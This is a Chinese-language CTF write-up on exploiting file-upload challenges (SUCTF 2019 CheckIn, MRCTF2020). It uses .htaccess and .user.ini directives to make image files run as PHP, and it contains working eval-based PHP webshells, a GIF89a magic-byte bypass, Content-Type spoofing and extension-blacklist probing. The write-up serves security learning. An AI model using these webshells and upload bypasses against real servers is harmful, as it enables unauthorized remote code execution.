前言
提示:最近写文件上传的题目经常碰到关于.htaccess和.user.ini文件的使用问题,我不了解Apache和php配置文件,所以想借着这次机会好好着重了解一些这两个配置文件
一、基本描述
1、.htaccess。百科对于.htaccess的解读是:htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能.
也就是说如果目标服务器允许用户修改.htaccess文件我们就可以通过它改变文件拓展名或者访问功能来getshell
2、.user.ini
- (1)服务器脚本语言为PHP
- (2)对应目录下面有可执行的php文件
- (3)服务器使用CGI/FastCGI模式
.user.ini.它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
这里我们不深究它们的具体配置(只用自己会用到的),.user.ini文件同样可以改变用户读取文件和包含文件的权限等,它的使用范围更广,但是条件多了一个(比较重要的)对应目录下有可执行文件。接下来我们看如何构造这两种配置文件。
二、配置与使用
这里直接搬用了其他老师傅的一些构造方法,这里就稍作解读。
1、.htaccess文件
AddType application/x-httpd-php .png //png文件解析为php文件
意思是说让Apache解析.png文件时也能执行php代码,如果.png文件中存在php代码时会被运行(同样可以把后面的.png改成任意后缀,原理一样)
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这里是有针对性的解析php文件,将1.jpg解析成php文件(后缀也可更改),当然这种配置代码还有很多变式:
SetHandler application/x-httpd-php
<IfModule mime_module>
SetHandler application/x-httpd-php
</IfModule>
等等。。。。然后使用蚁剑访问URL+文件上传路径+文件名,即可连接
2、.user.ini文件
相对简短一些:
auto_prepend_file=a.jpg //第一种
auto_prepend_file=a.jpg //在页面顶部加载文件
auto_append_file=a.jpg //在页面底部加载文件
上传成功后,要访问本目录下的php文件进行文件包含才能getshell,蚁剑无法直接连接,这需要我们手动传入实现代码执行(我们结合题目学一些常用的函数和命令)
三、实战
1、[SUCTF 2019]CheckIn
打开题目环境:
是一个文件上传类型的题目,预测应该有绕过。开始进行初步测试。
提示文件头出现<? 说明我们的一句话木马不能出现<?再看看文件类型过滤
现在我们改变我们的一句话木马形式
<script language='php'>
@eval($_POST['pass']);
</script>
再次测试
我上传的内容是一个gif文件,它提示我不是图像,这里存在一个对图像的过滤。现在检查一下过滤情况:
- 首先是文件内容的过滤,不允许出现<?
- 然后文件后缀的过滤
- 最后满足这两项还必须是图像,更改后缀无效。
我们已经满足前两个,还剩最后一个,我们可以选择上传图片马,也可以添加幻数头字节。但是图片马必须要有文件包含漏洞或者改文件解析漏洞才能利用。我们发现可以上传.user.ini文件,我们可以通过.user.ini文件利用图片马:
GIF89a
auto_prepend_file=a.jpg
上传成功后访问index.php既可包含我们上传的图片马
我们的.ini.user文件以及图片马a.jpg已经上传完毕,接下来使用蚁剑连接。
2、[MRCTF2020]你传你🐎呢
打开环境看到文件上传,底用反应是上传webshell,上传web.php
<?php @eval($_POST['cmd']); ?>
发现肯定有过滤,需要绕过,于是使用后缀名字典看看是黑名单还是白名单,过滤了多少。
发现常见的phg后缀都被ban了,但是发现.htaccess文件能上传,并且回显文件位置。
于是利用.htaccess文件修改配置信息,然后使用图片马getshell。
这里还有一个检测是Content-Type检测,只需要改成image/jepg即可,然后上传图片马。
getshell
总结
1.使用后缀字典进行黑名单或者白名单检测
2.巧用.user.ini和.htaccess
3.Content-Type绕过
4.图片马(幻术字节头)的使用